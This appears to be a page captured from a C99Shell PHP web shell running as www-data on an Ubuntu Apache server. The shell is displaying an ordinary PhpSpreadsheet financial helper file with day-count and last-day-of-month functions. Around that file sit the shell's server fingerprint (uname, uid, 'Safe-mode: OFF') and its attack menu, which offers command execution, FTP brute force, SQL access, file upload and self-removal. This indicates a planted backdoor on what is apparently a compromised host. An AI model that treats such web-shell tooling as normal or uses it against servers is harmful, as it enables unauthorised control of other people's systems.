!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Helpers.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet\Calculation\Financial;

use 
DateTimeInterface;
use 
PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel;
use 
PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants;
use 
PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError;

class 
Helpers
{
    
/**
     * daysPerYear.
     *
     * Returns the number of days in a specified year, as defined by the "basis" value
     *
     * @param int|string $year The year against which we're testing
     * @param int|string $basis The type of day count:
     *                              0 or omitted US (NASD)   360
     *                              1                        Actual (365 or 366 in a leap year)
     *                              2                        360
     *                              3                        365
     *                              4                        European 360
     *
     * @return int|string Result, or a string containing an error
     */
    
public static function daysPerYear($year$basis 0)
    {
        if (!
is_numeric($basis)) {
            return 
ExcelError::NAN();
        }

        switch (
$basis) {
            case 
FinancialConstants::BASIS_DAYS_PER_YEAR_NASD:
            case 
FinancialConstants::BASIS_DAYS_PER_YEAR_360:
            case 
FinancialConstants::BASIS_DAYS_PER_YEAR_360_EUROPEAN:
                return 
360;
            case 
FinancialConstants::BASIS_DAYS_PER_YEAR_365:
                return 
365;
            case 
FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL:
                return (
DateTimeExcel\Helpers::isLeapYear($year)) ? 366 365;
        }

        return 
ExcelError::NAN();
    }

    
/**
     * isLastDayOfMonth.
     *
     * Returns a boolean TRUE/FALSE indicating if this date is the last date of the month
     *
     * @param DateTimeInterface $date The date for testing
     */
    
public static function isLastDayOfMonth(DateTimeInterface $date): bool
    
{
        return 
$date->format('d') === $date->format('t');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--